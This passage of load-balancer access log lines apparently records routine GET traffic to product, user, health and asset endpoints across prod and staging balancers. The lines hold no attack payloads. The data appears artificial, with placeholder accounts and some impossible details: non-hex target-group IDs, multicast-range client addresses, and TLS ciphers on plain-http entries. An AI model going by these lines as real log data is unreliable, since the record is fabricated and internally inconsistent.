0.002309 0.001891 0.047405 200 200 962 2649 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce01-f52163153c2a4ac3ba319918" "prod-api-alb.example.com" "-" 7 2024-11-01T01:35:45.950449Z "forward" "-" "-" "10.0.250.252:443" "200" "-" "-" +https 2024-11-01T01:35:47.341982Z staging-alb 86.10.238.188:43056 190.186.65.54:443 0.103943 0.171619 0.023957 302 302 900 12240 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce03-21e3a3e25c2a40f69a37954e" "staging-alb.example.com" "-" 10 2024-11-01T01:35:47.341982Z "forward" "-" "-" "190.186.65.54:443" "302" "-" "-" +https 2024-11-01T01:35:47.997272Z prod-api-alb 148.106.228.133:38452 10.0.208.167:443 0.034923 0.147546 0.045200 200 200 796 3396 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce03-b7b3f5c012024a08804f02eb" "prod-api-alb.example.com" "-" 6 2024-11-01T01:35:47.997272Z "forward" "-" "-" "10.0.208.167:443" "200" "-" "-" +https 2024-11-01T01:35:49.732458Z prod-api-alb 99.207.100.171:27801 10.0.122.178:443 0.096660 0.477421 0.061379 302 302 103 14855 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce05-31a37bdab0634dc2bd412606" "prod-api-alb.example.com" "-" 2 2024-11-01T01:35:49.732458Z "forward" "-" "-" "10.0.122.178:443" "302" "-" "-" +https 2024-11-01T01:35:51.479740Z prod-web-alb 112.75.66.126:25446 10.0.167.64:443 0.026111 0.489676 0.044757 404 404 253 13795 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce07-004412dd649149ac9e9737fd" "prod-web-alb.example.com" "-" 5 2024-11-01T01:35:51.479740Z "forward" "-" "-" "10.0.167.64:443" "404" "-" "-" +https 2024-11-01T01:35:51.861181Z prod-api-alb 183.96.127.1:14624 10.0.195.2:443 0.061342 0.361295 0.049013 404 404 578 13905 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce07-e578eff8a74e4aa18b13ad9f" "prod-api-alb.example.com" "-" 0 2024-11-01T01:35:51.861181Z "forward" "-" "-" "10.0.195.2:443" "404" "-" "-" +https 2024-11-01T01:35:52.095297Z staging-alb 10.151.145.225:29630 68.132.255.209:443 0.072989 0.497761 0.104931 302 302 229 14085 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce08-06f5f760a6e34cfcae7284b9" "staging-alb.example.com" "-" 7 2024-11-01T01:35:52.095297Z "forward" "-" "-" "68.132.255.209:443" "302" "-" "-" +https 2024-11-01T01:35:52.429719Z prod-web-alb 89.105.171.17:51252 10.0.73.178:443 0.054214 0.311643 0.022375 404 404 636 5407 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce08-58ab8fba9d1f4776ab1b0a65" "prod-web-alb.example.com" "-" 2 2024-11-01T01:35:52.429719Z "forward" "-" "-" "10.0.73.178:443" "404" "-" "-" +http 2024-11-01T01:35:52.819652Z staging-alb 19.254.114.188:35139 22.243.5.73:80 0.008806 0.057650 0.045599 200 200 424 9291 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce08-632b8c5eb2da4e2db453c125" "staging-alb.example.com" "-" 8 2024-11-01T01:35:52.819652Z "forward" "-" "-" "22.243.5.73:80" "200" "-" "-" +https 2024-11-01T01:35:53.313719Z prod-api-alb 15.2.11.106:34593 10.0.88.66:443 0.095133 0.453391 0.024028 200 200 391 7556 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce09-b7eded4bdf57416e93b0a25b" "prod-api-alb.example.com" "-" 8 2024-11-01T01:35:53.313719Z "forward" "-" "-" "10.0.88.66:443" "200" "-" "-" +https 2024-11-01T01:35:54.782230Z prod-api-alb 162.47.176.96:45257 10.0.133.33:443 0.033565 0.027429 0.035016 200 200 92 2910 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce0a-2766f0846e5643148034ade4" "prod-api-alb.example.com" "-" 6 2024-11-01T01:35:54.782230Z "forward" "-" "-" "10.0.133.33:443" "200" "-" "-" +https 2024-11-01T01:35:55.911280Z prod-api-alb 131.172.109.94:14959 10.0.67.205:443 0.026460 0.159198 0.095387 200 200 310 8248 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce0b-f8b79547d2d44148a9ce4ec7" "prod-api-alb.example.com" "-" 5 2024-11-01T01:35:55.911280Z "forward" "-" "-" "10.0.67.205:443" "200" "-" "-" +https 2024-11-01T01:35:57.388343Z prod-api-alb 237.28.214.214:21224 10.0.75.156:443 0.028773 0.349737 0.079127 302 302 559 14980 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce0d-e0a0cb97385b45c68c8f80d0" "prod-api-alb.example.com" "-" 9 2024-11-01T01:35:57.388343Z "forward" "-" "-" "10.0.75.156:443" "302" "-" "-" +https 2024-11-01T01:35:59.258331Z prod-api-alb 95.121.56.244:45282 10.0.204.134:443 0.017993 0.315744 0.043370 302 302 584 14277 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce0f-b36cb373c90347b09c391bf9" "prod-api-alb.example.com" "-" 4 2024-11-01T01:35:59.258331Z "forward" "-" "-" "10.0.204.134:443" "302" "-" "-" +https 2024-11-01T01:36:00.549730Z prod-web-alb 144.166.52.38:58570 10.0.153.80:443 0.081970 0.499447 0.053555 200 200 885 14636 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce10-740d4b528c4844979c2934fc" "prod-web-alb.example.com" "-" 1 2024-11-01T01:36:00.549730Z "forward" "-" "-" "10.0.153.80:443" "200" "-" "-" +https 2024-11-01T01:36:01.272229Z prod-web-alb 200.40.19.82:23035 10.0.185.45:443 0.013388 0.034487 0.016359 302 302 198 14072 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce11-bec6fbf4fb7f4fb6aabaabf9" "prod-web-alb.example.com" "-" 4 2024-11-01T01:36:01.272229Z "forward" "-" "-" "10.0.185.45:443" "302" "-" "-" +https 2024-11-01T01:36:01.828707Z prod-web-alb 119.187.9.144:64884 10.0.169.248:443 0.099110 0.013604 0.079092 200 200 288 12546 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce11-fd5f86b8cf59459a9944a360" "prod-web-alb.example.com" "-" 2 2024-11-01T01:36:01.828707Z "forward" "-" "-" "10.0.169.248:443" "200" "-" "-" +https 2024-11-01T01:36:02.523623Z prod-web-alb 101.104.148.135:45593 10.0.142.176:443 0.024932 0.062033 0.055074 200 200 582 4526 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce12-ad4c4fac3f2745f18d8e466b" "prod-web-alb.example.com" "-" 10 2024-11-01T01:36:02.523623Z "forward" "-" "-" "10.0.142.176:443" "200" "-" "-" +https 2024-11-01T01:36:03.830092Z staging-alb 103.209.243.10:16160 128.203.203.122:8080 0.016289 0.706722 0.048279 200 200 539 8861 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce13-2b76786c9db544b8ae62c126" "staging-alb.example.com" "-" 9 2024-11-01T01:36:03.830092Z "forward" "-" "-" "128.203.203.122:8080" "200" "-" "-" +http 2024-11-01T01:36:05.787003Z staging-alb 234.118.81.33:33252 253.255.129.78:443 0.037544 0.673613 0.132037 302 302 216 7504 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce15-7f3bf3c4e731415c9009f04c" "staging-alb.example.com" "-" 4 2024-11-01T01:36:05.787003Z "forward" "-" "-" "253.255.129.78:443" "302" "-" "-" +http 2024-11-01T01:36:07.264470Z staging-alb 34.103.117.197:17207 51.209.147.95:80 0.144886 0.605592 0.043705 200 200 68 3506 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce17-54c6ff72100341c9b5ef5d3b" "staging-alb.example.com" "-" 5 2024-11-01T01:36:07.264470Z "forward" "-" "-" "51.209.147.95:80" "200" "-" "-" +https 2024-11-01T01:36:08.186261Z staging-alb 74.210.59.14:24593 251.152.176.229:80 0.081981 0.748314 0.003265 200 200 511 9952 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce18-2175cedcb35841fe8a486a4a" "staging-alb.example.com" "-" 8 2024-11-01T01:36:08.186261Z "forward" "-" "-" "251.152.176.229:80" "200" "-" "-" +https 2024-11-01T01:36:09.769502Z prod-api-alb 124.98.8.187:47642 10.0.36.30:443 0.043239 0.157669 0.077269 302 302 348 3499 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce19-6010870eef6d41c8ace99131" "-" "-" 4 2024-11-01T01:36:09.769502Z "forward" "-" "-" "10.0.36.30:443" "302" "-" "-" +https 2024-11-01T01:36:09.894893Z staging-alb 145.50.196.57:30848 6.189.166.254:443 0.029567 0.032640 0.012616 301 301 155 4888 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce19-b91132d3597a487db59ebd5a" "staging-alb.example.com" "-" 5 2024-11-01T01:36:09.894893Z "forward" "-" "-" "6.189.166.254:443" "301" "-" "-" +http 2024-11-01T01:36:10.425370Z staging-alb 145.9.168.103:23689 178.65.47.152:8080 0.137758 0.701417 0.044712 301 301 982 14276 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce1a-d2e4365618a248c9aa992af2" "staging-alb.example.com" "-" 0 2024-11-01T01:36:10.425370Z "forward" "-" "-" "178.65.47.152:8080" "301" "-" "-" +https 2024-11-01T01:36:11.054098Z prod-web-alb 229.243.253.76:31862 10.0.12.99:443 0.064206 0.424709 0.017110 301 301 477 750 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce1b-083c41acb5ef42e4ac37d1be" "prod-web-alb.example.com" "-" 5 2024-11-01T01:36:11.054098Z "forward" "-" "-" "10.0.12.99:443" "301" "-" "-" +https 2024-11-01T01:36:12.691045Z prod-web-alb 190.55.78.156:22274 10.0.95.214:443 0.020114 0.296314 0.071899 301 301 68 2244 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce1c-f86556d634764e45ac490c8f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:36:12.691045Z "forward" "-" "-" "10.0.95.214:443" "301" "-" "-" +https 2024-11-01T01:36:14.184145Z prod-api-alb 114.253.17.107:42496 10.0.90.101:443 0.026872 0.215319 0.087686 302 302 831 3311 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce1e-1476d9e83a24497893491323" "prod-api-alb.example.com" "-" 5 2024-11-01T01:36:14.184145Z "forward" "-" "-" "10.0.90.101:443" "302" "-" "-" +https 2024-11-01T01:36:15.673260Z prod-web-alb 131.38.88.57:46079 10.0.101.247:443 0.013091 0.156109 0.063314 404 404 536 14459 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce1f-0ad30b39c18446ca94792435" "prod-web-alb.example.com" "-" 5 2024-11-01T01:36:15.673260Z "forward" "-" "-" "10.0.101.247:443" "404" "-" "-" +http 2024-11-01T01:36:16.284963Z staging-alb 236.254.78.144:50301 55.224.193.246:443 0.034456 0.035620 0.091546 200 200 316 13343 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce20-03b5b0bd1a6b440fadeae86a" "staging-alb.example.com" "-" 0 2024-11-01T01:36:16.284963Z "forward" "-" "-" "55.224.193.246:443" "200" "-" "-" +https 2024-11-01T01:36:17.764347Z staging-alb 28.124.92.232:37341 45.78.2.68:443 0.104635 0.391724 0.118140 200 200 975 1750 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce21-1f0a455ea77746c0bc085a47" "staging-alb.example.com" "-" 9 2024-11-01T01:36:17.764347Z "forward" "-" "-" "45.78.2.68:443" "200" "-" "-" +https 2024-11-01T01:36:18.708952Z prod-api-alb 70.30.120.217:35156 10.0.208.51:443 0.014727 0.413520 0.018486 302 302 154 9747 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce22-84a065d0bca94ea4b4f33853" "prod-api-alb.example.com" "-" 2 2024-11-01T01:36:18.708952Z "forward" "-" "-" "10.0.208.51:443" "302" "-" "-" +https 2024-11-01T01:36:20.477429Z staging-alb 150.216.250.204:55917 133.239.242.168:80 0.002569 0.449651 0.050336 301 301 153 10321 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce24-029ae7c59b124c7ca322841e" "staging-alb.example.com" "-" 5 2024-11-01T01:36:20.477429Z "forward" "-" "-" "133.239.242.168:80" "301" "-" "-" +https 2024-11-01T01:36:22.410438Z prod-web-alb 160.132.236.152:31514 10.0.33.219:443 0.065999 0.076181 0.062671 200 200 361 7235 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce26-9a700b56b4e24e049067acdd" "prod-web-alb.example.com" "-" 5 2024-11-01T01:36:22.410438Z "forward" "-" "-" "10.0.33.219:443" "200" "-" "-" +https 2024-11-01T01:36:24.048561Z prod-web-alb 6.181.218.245:48498 10.0.94.84:443 0.099657 0.362399 0.039042 404 404 175 13551 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce28-7e2265fd633348e09d9a584d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:36:24.048561Z "forward" "-" "-" "10.0.94.84:443" "404" "-" "-" +http 2024-11-01T01:36:24.158518Z staging-alb 88.23.199.135:52450 138.43.89.145:80 0.011812 0.302828 0.004603 302 302 48 14785 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce28-30a0d5b1a82b43ff987797e3" "staging-alb.example.com" "-" 9 2024-11-01T01:36:24.158518Z "forward" "-" "-" "138.43.89.145:80" "302" "-" "-" +https 2024-11-01T01:36:25.264379Z prod-web-alb 27.56.5.199:20511 10.0.90.157:443 0.087766 0.106540 0.053365 200 200 707 9360 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce29-8c945c90520045f2b24499fc" "prod-web-alb.example.com" "-" 0 2024-11-01T01:36:25.264379Z "forward" "-" "-" "10.0.90.157:443" "200" "-" "-" +https 2024-11-01T01:36:26.233671Z prod-api-alb 141.11.2.21:53252 10.0.200.68:443 0.048047 0.412178 0.038910 200 200 505 10599 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce2a-81953db316c643b7933c56c2" "prod-api-alb.example.com" "-" 10 2024-11-01T01:36:26.233671Z "forward" "-" "-" "10.0.200.68:443" "200" "-" "-" +https 2024-11-01T01:36:27.062233Z prod-web-alb 41.153.59.23:16009 10.0.43.200:443 0.049210 0.239740 0.028811 200 200 466 2684 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce2b-03a6fab98fd34259b6328194" "prod-web-alb.example.com" "-" 4 2024-11-01T01:36:27.062233Z "forward" "-" "-" "10.0.43.200:443" "200" "-" "-" +https 2024-11-01T01:36:28.008917Z prod-web-alb 115.192.187.79:32293 10.0.171.1:443 0.055530 0.460631 0.080029 200 200 433 6541 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce2c-7ee60ebb32b74582ae52042f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:36:28.008917Z "forward" "-" "-" "10.0.171.1:443" "200" "-" "-" +https 2024-11-01T01:36:28.416272Z prod-api-alb 235.59.192.35:58855 10.0.131.139:443 0.075684 0.448761 0.066893 301 301 168 8441 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce2c-cefa4a7460714c658030f497" "prod-api-alb.example.com" "-" 8 2024-11-01T01:36:28.416272Z "forward" "-" "-" "10.0.131.139:443" "301" "-" "-" +https 2024-11-01T01:36:29.977420Z prod-web-alb 90.15.147.8:62876 10.0.190.84:443 0.069526 0.167679 0.020014 302 302 898 5707 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce2d-6275d6634fe7432490bbf635" "prod-web-alb.example.com" "-" 1 2024-11-01T01:36:29.977420Z "forward" "-" "-" "10.0.190.84:443" "302" "-" "-" +https 2024-11-01T01:36:30.300224Z prod-api-alb 27.208.108.208:41537 10.0.114.171:443 0.077856 0.418542 0.056560 301 301 742 8243 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce2e-d45034798aa048c3945144bc" "prod-api-alb.example.com" "-" 3 2024-11-01T01:36:30.300224Z "forward" "-" "-" "10.0.114.171:443" "301" "-" "-" +https 2024-11-01T01:36:31.172969Z prod-api-alb 173.110.234.33:10134 10.0.33.129:443 0.073079 0.102097 0.005868 200 200 244 3431 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce2f-63b48c54d8404222acbfba35" "prod-api-alb.example.com" "-" 4 2024-11-01T01:36:31.172969Z "forward" "-" "-" "10.0.33.129:443" "200" "-" "-" +https 2024-11-01T01:36:33.157957Z prod-web-alb 246.162.31.28:62899 10.0.83.232:443 0.077723 0.404555 0.092754 200 200 765 14136 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce31-b4dc33d409f04908a44e0513" "prod-web-alb.example.com" "-" 7 2024-11-01T01:36:33.157957Z "forward" "-" "-" "10.0.83.232:443" "200" "-" "-" +https 2024-11-01T01:36:34.717755Z staging-alb 158.57.125.63:26888 232.208.141.176:8080 0.008507 0.749598 0.102211 200 200 510 10730 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce32-45669996794640fb9e31df2f" "staging-alb.example.com" "-" 6 2024-11-01T01:36:34.717755Z "forward" "-" "-" "232.208.141.176:8080" "200" "-" "-" +https 2024-11-01T01:36:35.982737Z prod-api-alb 179.45.58.82:28187 10.0.205.82:443 0.013454 0.465956 0.060659 301 301 882 4152 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce33-6aa1a4138ec64529a4ee7016" "prod-api-alb.example.com" "-" 2 2024-11-01T01:36:35.982737Z "forward" "-" "-" "10.0.205.82:443" "301" "-" "-" +https 2024-11-01T01:36:36.254934Z prod-api-alb 181.158.160.11:43695 10.0.53.228:443 0.039432 0.025966 0.032951 302 302 517 12195 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce34-9a57a9a7a24a4d2fb3d419b1" "prod-api-alb.example.com" "-" 3 2024-11-01T01:36:36.254934Z "forward" "-" "-" "10.0.53.228:443" "302" "-" "-" +https 